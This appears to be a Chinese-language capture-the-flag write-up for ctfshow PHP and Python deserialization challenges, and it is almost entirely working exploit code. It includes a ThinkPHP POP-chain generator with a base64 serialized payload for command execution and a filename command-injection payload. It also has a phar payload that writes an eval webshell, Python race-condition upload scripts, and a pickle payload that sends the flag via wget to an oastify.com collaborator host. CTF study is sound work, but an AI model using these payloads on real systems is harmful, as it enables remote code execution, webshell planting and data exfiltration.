<?php namespace think; abstract class Model{ protected $append = []; private $data = []; function __construct(){ $this->append = ["lin"=>["calc.exe","calc"]]; $this->data = ["lin"=>new Request()]; } } class Request { protected $hook = []; protected $filter = "system"; //PHP函数 protected $config = [ // 表单ajax伪装变量 'var_ajax' => '_ajax', ]; function __construct(){ $this->filter = "system"; $this->config = ["var_ajax"=>'lin']; //PHP函数的参数 $this->hook = ["visible"=>[$this,"isAjax"]]; } } namespace think\process\pipes; use think\model\concern\Conversion; use think\model\Pivot; class Windows { private $files = []; public function __construct() { $this->files=[new Pivot()]; } } namespace think\model; use think\Model; class Pivot extends Model { } use think\process\pipes\Windows; echo base64_encode(serialize(new Windows())); ?>
Payload:
/?lin=tac /flag&data=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJsaW4iO2E6Mjp7aTowO3M6ODoiY2FsYy5leGUiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJsaW4iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjM6ImxpbiI7fX19fX19
<?php class filter{ public $filename; public $filecontent; public $evilfile=false; public function __construct($f,$fn){ $this->filename=$f; $this->filecontent=$fn; } public function checkevil(){ if(preg_match('/php|\.\./i', $this->filename)){ $this->evilfile=true; } if(preg_match('/flag/i', $this->filecontent)){ $this->evilfile=true; } return $this->evilfile; } public function __destruct(){ if($this->evilfile){ system('rm '.$this->filename); } } } if(isset($_GET['fn'])){ $content = file_get_contents('php://input'); $f = new filter($_GET['fn'],$content); if($f->checkevil()===false){ file_put_contents($_GET['fn'], $content); copy($_GET['fn'],md5(mt_rand()).'.txt'); unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']); echo 'work done'; } }else{ echo 'where is flag?'; }
没仔细看下面的,看到了__destruct
可以调用system
所以只需要满足checkevil的正则匹配,执行system
即可
Payload
GET: ?fn=|tac fla*
POST: flag
<?php highlight_file(__FILE__); class filter{ public $filename; public $filecontent; public $evilfile=false; public $admin = false; public function __construct($f,$fn){ $this->filename=$f; $this->filecontent=$fn; } public function checkevil(){ if(preg_match('/php|\.\./i', $this->filename)){ $this->evilfile=true; } if(preg_match('/flag/i', $this->filecontent)){ $this->evilfile=true; } return $this->evilfile; } public function __destruct(){ if($this->evilfile && $this->admin){ system('rm '.$this->filename); } } } if(isset($_GET['fn'])){ $content = file_get_contents('php://input'); $f = new filter($_GET['fn'],$content); if($f->checkevil()===false){ file_put_contents($_GET['fn'], $content); copy($_GET['fn'],md5(mt_rand()).'.txt'); unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']); echo 'work done'; } }else{ echo 'where is flag?'; }
__destruct()
加了条件,但是admin
不可控
首先构造 phar
的文件,将 filter
存储在 meta-data
中以备反序列化。
<?php class filter { public $filename = "a;echo '<?php @eval(\$_POST[1]); ?>' > shell.php"; public $filecontent; public $evilfile = true; public $admin = true; } @unlink("payload.phar"); $phar = new Phar("payload.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new filter(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); echo "done.";
然后因为文件名加上 /var/www/html/
后 unlink
的参数就会有两遍路径,删不掉,就可以持久化上传文件了,当然也可以通过条件竞争去反序列化这个 phar
。
import requests
url = "https://39afeb37-98e3-49cc-9a59-ba48da61ff09.challenge.ctf.show/"
target = "/var/www/html/d.phar"
with open("CTFshow\php-unserialize\payload.phar", "rb") as f:
payload = f.read()
_ = requests.post(f"{url}/?fn={target}", data=payload)
target = "phar://d.phar/test"
_ = requests.post(f"{url}/?fn={target}")
条件竞争
import requests import threading url="https://39afeb37-98e3-49cc-9a59-ba48da61ff09.challenge.ctf.show/" f=open("CTFshow\php-unserialize\payload.phar","rb") content=f.read() def upload(): #上传1.phar,内容是本地文件:phar.phar requests.post(url=url+"?fn=d.phar",data=content) def read(): #利用条件竞争,尝试phar://反序列化1.phar,1.phar没被删除就能被反序列化,因而就能执行system()函数从而执行我们的命令 r = requests.post(url=url+"?fn=phar://d.phar/test",data="1=system('tac flag.php)") if "ctfshow{"in r.text or "flag{" in r.text: print(r.text) exit() while 1: t1=threading.Thread(target=upload) t2=threading.Thread(target=read) t1.start() t2.start()
利用burp的Collaborator外带
import pickle
import os
import base64
class hsad():
def __reduce__(self):
return (os.popen, ('wget npgr48shkll6h9ye92srk1po7fd71xpm.oastify.com/?a=`tac flag`',))
print(base64.b64encode(pickle.dumps(hsad())))
同 web277
,禁用了 os.system
但不影响 os.popen
。
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